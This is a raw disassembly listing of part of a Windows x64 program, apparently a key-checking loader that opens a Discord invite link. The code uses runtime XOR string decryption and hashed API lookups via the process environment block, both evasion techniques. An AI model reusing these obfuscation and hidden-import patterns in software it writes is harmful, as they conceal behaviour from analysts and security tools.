movups xmmword [rbp + 0x2f8], xmm0
movups xmm1, xmmword [0x14004fef8]
movups xmmword [rbp + 0x308], xmm1
movzx eax, byte [0x14004ff08]
mov byte [rbp + 0x318], al
mov r8d, r14d
cmp r13d, 2
jl 0x14003777d
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp + 0x2fc]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140037692
cmp r8d, 0x21
jge 0x1400377c0
movsxd rax, r8d
lea r9, [rbp + 0x2f8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x140037790
lea rdx, [rbp + 0x2f8]
lea rcx, [rbp + 0x950]
call fcn.1400272c0
nop
xor r8d, r8d
mov rdx, rax
lea rcx, [rbp + 0x790]
call fcn.140042eb0
nop
lea rcx, [rbp + 0x790]
call fcn.140029280
movzx ebx, al
lea rcx, [rbp + 0x790]
call fcn.1400289d0
nop
lea rcx, [rbp + 0x950]
call fcn.140027260
movdqa xmm14, xmmword [0x140059fb0]
movdqa xmm15, xmmword [0x140059fc0]
test bl, bl
je 0x140037c19
movups xmm2, xmmword [str._CWE_ZCD]
movups xmmword [rbp + 0xe0], xmm2
movsd xmm0, qword [0x14004fc48]
movsd qword [rbp + 0xf0], xmm0
movzx eax, byte [0x14004fc50]
mov byte [rbp + 0xf8], al
mov r8d, r14d
movdqa xmm13, xmmword [0x140059fa0]
movdqa xmm11, xmmword [0x140059f90]
cmp r13d, 2
jl 0x140037af5
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xe0], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe4]
xorps xmm2, xmm1
movd dword [rbp + 0xe4], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xe8]
xorps xmm2, xmm1
movd dword [rbp + 0xe8], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xec]
xorps xmm2, xmm1
movd dword [rbp + 0xec], xmm2
movdqa xmm1, xmm14
punpckldq xmm1, xmm14
pmuldq xmm1, xmm6
movdqa xmm0, xmm14
punpckhdq xmm0, xmm14
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm14
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf0]
xorps xmm2, xmm1
movd dword [rbp + 0xf0], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm6
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xf4]
xorps xmm2, xmm1
movd dword [rbp + 0xf4], xmm2
mov r8d, 0x18
mov eax, r8d
lea r9, [rbp + 0xe0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x19
jl 0x140037b10
lea rdx, [rbp + 0xe0]
lea rcx, [rbp + 0x970]
call fcn.1400272c0
mov rcx, rax
call fcn.140029390
lea rcx, str.start_https:__discord.gg_TnGCAPydar
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037bf6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037bf6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xa9e5fd8a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037bf1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037bd0
cmp r8d, 0x9afe28d
je 0x140037bfb
test r9d, r9d
jne 0x140037bb0
mov rax, qword [rax]
jmp 0x140037b80
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0x5dc
jmp 0x140038604
mov eax, dword [str.TK_t]
mov dword [rbp - 0x40], eax
movzx eax, word [0x140050480]
mov word [rbp - 0x3c], ax
mov byte [rbp - 0x40], 0x4b
xor byte [rbp - 0x3f], 0x31
xor byte [rbp - 0x3e], 0x32
xor byte [rbp - 0x3d], 0x33
xor al, 0x34
mov byte [rbp - 0x3c], al
xor byte [rbp - 0x3b], 0x35
lea rdx, [rbp - 0x40]
lea rcx, [rbp + 0x990]
call fcn.1400272c0
mov rcx, rax
call fcn.140029390
lea rdx, [0x140062558]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140042f00
movups xmm2, xmmword [0x1400501a8]
movups xmmword [rbp + 0xc8], xmm2
movzx eax, byte [0x1400501b8]
mov byte [rbp + 0xd8], al
mov r8d, r14d
movdqa xmm13, xmmword [0x140059fa0]
movdqa xmm11, xmmword [0x140059f90]
cmp r13d, 2
jl 0x140037e59
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm10
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xc8], xmm1
movdqa xmm1, xmm12
punpckldq xmm1, xmm12
pmuldq xmm1, xmm6
movdqa xmm0, xmm12
punpckhdq xmm0, xmm12
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcc]
xorps xmm2, xmm1
movd dword [rbp + 0xcc], xmm2
movdqa xmm1, xmm11
punpckldq xmm1, xmm11
pmuldq xmm1, xmm6
movdqa xmm0, xmm11
punpckhdq xmm0, xmm11
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd0]
xorps xmm2, xmm1
movd dword [rbp + 0xd0], xmm2
movdqa xmm1, xmm13
punpckldq xmm1, xmm13
pmuldq xmm1, xmm6
movdqa xmm0, xmm13
punpckhdq xmm0, xmm13
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm2, xmm13
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xd4]
xorps xmm2, xmm1
movd dword [rbp + 0xd4], xmm2
mov r8d, 0x10
mov eax, r8d
lea r9, [rbp + 0xc8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x11
jl 0x140037e70
lea rdx, [rbp + 0xc8]
lea rcx, [rbp + 0x9b0]
call fcn.1400272c0
mov rdx, rax
lea rcx, [0x140062558]
call fcn.140043a00
movzx ebx, al
lea rcx, [rbp + 0x9b0]
call fcn.140027260
test bl, bl
je 0x14003839c
movsd xmm0, qword [str.cDQPQFE]
movsd qword [rbp - 0x20], xmm0
movzx eax, byte [0x140050800]
mov byte [rbp - 0x20], 0x53
xor byte [rbp - 0x1f], 0x31
xor byte [rbp - 0x1e], 0x32
xor byte [rbp - 0x1d], 0x33
xor byte [rbp - 0x1c], 0x34
xor byte [rbp - 0x1b], 0x35
xor byte [rbp - 0x1a], 0x36
xor byte [rbp - 0x19], 0x37
xor al, 0x38
mov byte [rbp - 0x18], al
lea rdx, [rbp - 0x20]
lea rcx, [rbp + 0x9d0]
call fcn.1400272c0
mov rcx, rax
call fcn.140029720
lea rcx, str.start_https:__discord.gg_TnGCAPydar
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140037fc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140037fc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x1b59a9f6
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140037fc1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140037fa0
cmp r8d, 0x7742fe99
je 0x140037fcb
test r9d, r9d
jne 0x140037f80
mov rax, qword [rax]
jmp 0x140037f50
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
mov ecx, 0x5dc
call rax
mov eax, dword [str.S_A3]
mov dword [rbp - 0xc], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140038086
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140038086
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x76cf0a
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140038081
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140038060
cmp r8d, 0x840c76f3
je 0x14003808b
test r9d, r9d
jne 0x140038040
mov rax, qword [rax]
jmp 0x140038010
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov r8d, r14d
cmp r13d, 2
jl 0x14003810a
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp - 0xc]
xorps xmm1, xmm0
movd dword [rbp - 0xc], xmm1
jmp 0x140038142
lea r9, [rbp - 0xc]
nop
mov eax, 0x2f684bdb
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140038110
lea rcx, [rbp - 0xc]
call r11
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xc10]
call sub.VCRUNTIME140.dll_memset
mov edx, 1
lea rcx, [rbp + 0xc10]
call fcn.140041b20
nop
movups xmm0, xmmword [str.s_vnd__RXOJfHYS_G31____4._b96_P]
movups xmmword [rbp + 0x320], xmm0
movups xmm1, xmmword [0x14004fef8]
movups xmmword [rbp + 0x330], xmm1
movzx eax, byte [0x14004ff08]
mov byte [rbp + 0x340], al
mov r8d, r14d
cmp r13d, 2
jl 0x1400382ab
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp + 0x324]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400381c0
cmp r8d, 0x21
jge 0x1400382f0
movsxd rax, r8d
lea r9, [rbp + 0x320]
add r9, rax
nop dword [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x21
jl 0x1400382c0
mov r9d, 0x40
mov r8d, 2
lea rdx, [rbp + 0x320]
lea rcx, [rbp + 0xc10]
call fcn.140041a70
mov rbx, qword [0x140062568]
lea rcx, [0x140062558]
call fcn.1400277d0
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xc10]
call fcn.140043cd0
lea rcx, [rbp + 0xc10]
call fcn.140041a30
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0xb48]
call qword [sym.imp.KERNEL32.dll_GetConsoleCursorInfo]
mov dword [rbp + 0xb4c], r14d
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov rcx, rax
lea rdx, [rbp + 0xb48]
call qword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
nop
lea rcx, [rbp + 0xcb8]
call fcn.140041ac0
lea rcx, [rbp + 0xcb8]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
jmp 0x140038609
movups xmm0, xmmword [str.gC__S]
movups xmmword [rbp + 0x2c8], xmm0
movups xmm1, xmmword [str...b6_0_:i___p7_t_vmpqZ]
movups xmmword [rbp + 0x2d8], xmm1
movsd xmm0, qword [0x140050578]
movsd qword [rbp + 0x2e8], xmm0
movzx eax, word [0x140050580]
mov word [rbp + 0x2f0], ax
movzx eax, byte [0x140050582]
mov byte [rbp + 0x2f2], al
mov r8d, r14d
cmp r13d, 2
jl 0x1400384ed
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rbp + 0x2cc]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm7
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm6
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x28
jl 0x140038402
cmp r8d, 0x2b
jge 0x140038530
movsxd rax, r8d
lea r9, [rbp + 0x2c8]
add r9, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x2b
jl 0x140038500
lea rdx, [rbp + 0x2c8]
lea rcx, [rbp + 0x9f0]
call fcn.1400272c0
mov rcx, rax
call fcn.140029ab0
lea rcx, str.start_https:__discord.gg_TnGCAPydar
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400385e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400385e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xa33f829
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400385e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400385c0
cmp r8d, 0x1b05b90c
je 0x1400385eb
test r9d, r9d
jne 0x1400385a0
mov rax, qword [rax]
jmp 0x140038570
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
mov ecx, 0xffffffff
add rax, r10
call rax
movzx ebx, byte [rsp + 0x40]
movzx edi, byte [rsp + 0x40]
movzx esi, byte [rsp + 0x40]
nop dword [rax + rax]
mov ecx, 0xfffffff5
call qword [sym.imp.KERNEL32.dll_GetStdHandle]
mov r12, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov r15d, dword [rdx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x1400386b6
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x1400386b6
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rax, [r10 + r9*4]
mov edx, dword [rax + r14]
add rdx, r10
mov r8d, 0x8e1f9093
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x1400386b1
nop
movsx eax, al
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx]
lea rdx, [rdx + 1]
test al, al
jne 0x140038690
cmp r8d, 0x7eef560f
je 0x1400386bb
test r9d, r9d
jne 0x140038670
mov rcx, qword [rcx]
jmp 0x140038640
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r8d, dword [rcx + rax*4]
add r8, r10
mov edx, 4
mov rcx, r12
call r8
mov eax, dword [str.S_A3]
mov dword [rbp - 0x10], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov r15d, dword [rcx + r10 + 0x88]
add r15, r10
cmp r15, r10
je 0x140038776
mov r9d, dword [r15 + 0x18]
test r9d, r9d
je 0x140038776
mov r14d, dword [r15 + 0x20]
nop word [rax + rax]
dec r9d
lea rcx, [r14 + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0xc7c62848
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140038771
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140038750
cmp r8d, 0x63966949
je 0x14003877b
test r9d, r9d
jne 0x140038730
mov rax, qword [rax]
jmp 0x140038700
mov ecx, dword [r15 + 0x1c]
add rcx, r10
mov eax, dword [r15 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov r11d, dword [rcx + rax*4]
add r11, r10
xor r8d, r8d
cmp r13d, 2
jl 0x1400387fc
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm6
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm6
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm9
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm10
movd xmm0, dword [rbp - 0x10]
xorps xmm1, xmm0
movd dword [rbp - 0x10], xmm1
jmp 0x140038832
lea r9, [rbp - 0x10]
mov eax, 0x2f684bdb
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140038800
lea rcx, [rbp - 0x10]
call r11
movsd xmm0, qword [str.:_89___8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, byte [0x140051478]
movsd qword [rbp - 0x38], xmm0
mov byte [rbp - 0x38], 0xa
xor byte [rbp - 0x37], 0x31
xor byte [rbp - 0x36], 0x32
xor byte [rbp - 0x35], 0x33
xor byte [rbp - 0x34], 0x34
xor byte [rbp - 0x33], 0x35
xor byte [rbp - 0x32], 0x36
xor byte [rbp - 0x31], 0x37
xor al, 0x38
mov byte [rbp - 0x30], al
lea rdx, [rbp - 0x38]
call fcn.140042b00
movups xmm0, xmmword [0x140050ed0]
movups xmmword [rbp + 0x650], xmm0
movups xmm1, xmmword [str._abcdefghijklmnopqr_tuvwxyz]
movups xmmword [rbp + 0x660], xmm1
movups xmm0, xmmword [0x140050ef0]
movups xmmword [rbp + 0x670], xmm0
movups xmm1, xmmword [0x140050f00]
movups xmmword [rbp + 0x680], xmm1
movups xmm0, xmmword [0x140050f10]
movups xmmword [rbp + 0x690], xmm0
movzx eax, word [0x140050f20]
mov word [rbp + 0x6a0], ax
movzx eax, byte [0x140050f22]
mov byte [rbp + 0x6a2], al
